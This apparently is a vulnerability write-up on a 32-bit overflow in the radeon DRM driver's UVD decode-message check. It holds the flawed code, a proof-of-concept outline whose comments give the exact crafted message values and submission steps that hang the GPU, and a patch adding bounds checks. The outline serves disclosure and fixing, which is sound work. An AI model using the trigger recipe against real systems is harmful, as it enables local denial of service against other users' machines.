image_size = width * height;                  /* line 367 — wraps silently */
image_size += image_size / 2;                  /* line 368 */
image_size = ALIGN(image_size, 1024);          /* line 369 */
...
min_dpb_size = image_size * 17;                /* line 375 */
min_dpb_size += width_in_mb * height_in_mb * 17 * 192;  /* line 378 */
...
case 3: /* MPEG2 */
    min_dpb_size = image_size * 3;             /* line 406 — = 0 when image_size = 0 */
    break;

/* Outline — use libdrm via the radeon CS ioctl path. */
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <radeon_drm.h>
#include <drm.h>

int main(int argc, char **argv) {
    const char *node = argc > 1 ? argv[1] : "/dev/dri/card0";
    int fd = open(node, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /* 1. Allocate a small (4 KB) BO via DRM_IOCTL_RADEON_GEM_CREATE —
     *    undersized DPB/image target. */
    /* 2. Allocate a second BO and write the UVD decode message into it via
     *    DRM_IOCTL_RADEON_GEM_PWRITE: little-endian u32 array,
     *      msg[0] = 0xDE000001  (msg header)
     *      msg[1] = 1           (msg_type=decode)
     *      msg[2] = 0x12345678  (handle)
     *      msg[4] = 3           (stream_type MPEG2)
     *      msg[6] = 0x00010000  (width — wraps to image_size=0)
     *      msg[7] = 0x00010000  (height)
     *      msg[9] = 0           (dpb_size)
     *      msg[28]= 0xFFFFFFFF  (pitch — defeats width>pitch check)
     *    First submit a create msg (msg[1]=0) with the same handle so the
     *    kernel registers the session in handles[]. */
    /* 3. Build a CS chunk: 16-dword-aligned IB containing PACKET0 writes
     *    to UVD_GPCOM_VCPU_DATA0, UVD_GPCOM_VCPU_DATA1,
     *    UVD_GPCOM_VCPU_CMD referencing the message BO with cmd=0 (msg),
     *    and additional cmd=1/cmd=2 relocations referencing the 4 KB BO.
     *    Submit via DRM_RADEON_CS with ring=R600_RING_TYPE_UVD_INDEX. */

    /* Expected: kernel accepts the IB (no -EINVAL); GPU attempts MPEG2
     * decode at 65536x65536 into a 4 KB BO -> within seconds the GPU hangs
     * (radeon dmesg: 'GPU lockup... waiting for rings to idle'). */

    /* Control out: identical IB submitted with width=height=16 is rejected
     * at radeon_uvd.c:431 with 'Invalid dpb_size'. */

    return 0;
}

--- a/sys/dev/drm/radeon/radeon_uvd.c
+++ b/sys/dev/drm/radeon/radeon_uvd.c
@@ -354,11 +354,30 @@ static int radeon_uvd_cs_msg_decode(uint32_t *msg, unsigned buf_sizes[])
 {
    unsigned stream_type = msg[4];
    unsigned width = msg[6];
    unsigned height = msg[7];
    unsigned dpb_size = msg[9];
    unsigned pitch = msg[28];
+   u64 image_size_u64;
+   u64 min_dpb_size_u64;

    unsigned width_in_mb = width / 16;
    unsigned height_in_mb = ALIGN(height / 16,2);

-   unsigned image_size, tmp, min_dpb_size;
-
-   image_size = width * height;
-   image_size += image_size / 2;
-   image_size = ALIGN(image_size, 1024);
+   unsigned image_size, tmp, min_dpb_size;
+
+   /* Reject absurd dimensions early to prevent 32-bit overflow. */
+   if (!width || !height || !pitch ||
+       width > 8192 || height > 8192 || pitch > 256 * 1024)
+       return -EINVAL;
+
+   image_size_u64 = (u64)width * height;
+   image_size_u64 += image_size_u64 / 2;
+   image_size_u64 = ALIGN(image_size_u64, 1024);
+   if (image_size_u64 > UINT_MAX)
+       return -EINVAL;
+   image_size = (unsigned)image_size_u64;

    switch (stream_type) {
    case 0: /* H264 */
-       min_dpb_size = image_size * 17;
-       min_dpb_size += width_in_mb * height_in_mb * 17 * 192;
-       min_dpb_size += width_in_mb * height_in_mb * 32;
+       min_dpb_size_u64 = (u64)image_size * 17;
+       min_dpb_size_u64 += (u64)width_in_mb * height_in_mb * 17 * 192;
+       min_dpb_size_u64 += (u64)width_in_mb * height_in_mb * 32;
+       break;
    case 1: /* VC1 */
-       min_dpb_size = image_size * 3;
-       min_dpb_size += width_in_mb * height_in_mb * 128;
-       min_dpb_size += width_in_mb * 64;
-       min_dpb_size += width_in_mb * 128;
-       tmp = max(width_in_mb, height_in_mb);
-       min_dpb_size += ALIGN(tmp * 7 * 16, 64);
+       min_dpb_size_u64 = (u64)image_size * 3;
+       min_dpb_size_u64 += (u64)width_in_mb * height_in_mb * 128;
+       min_dpb_size_u64 += (u64)width_in_mb * 64;
+       min_dpb_size_u64 += (u64)width_in_mb * 128;
+       tmp = max(width_in_mb, height_in_mb);
+       min_dpb_size_u64 += ALIGN((u64)tmp * 7 * 16, 64);
+       break;
    case 3: /* MPEG2 */
-       min_dpb_size = image_size * 3;
+       min_dpb_size_u64 = (u64)image_size * 3;
+       break;
    case 4: /* MPEG4 */
-       min_dpb_size = image_size * 3;
-       min_dpb_size += width_in_mb * height_in_mb * 64;
-       min_dpb_size += ALIGN(width_in_mb * height_in_mb * 32, 64);
+       min_dpb_size_u64 = (u64)image_size * 3;
+       min_dpb_size_u64 += (u64)width_in_mb * height_in_mb * 64;
+       min_dpb_size_u64 += ALIGN((u64)width_in_mb * height_in_mb * 32, 64);
        break;
    default:
        DRM_ERROR("UVD codec not handled %d!\n", stream_type);
        return -EINVAL;
    }
+   if (min_dpb_size_u64 > dpb_size || min_dpb_size_u64 > UINT_MAX) {
+       DRM_ERROR("Invalid dpb_size in UVD message (%u / %llu)!\n",
+             dpb_size, min_dpb_size_u64);
+       return -EINVAL;
+   }
+   min_dpb_size = (unsigned)min_dpb_size_u64;

    if (width > pitch) {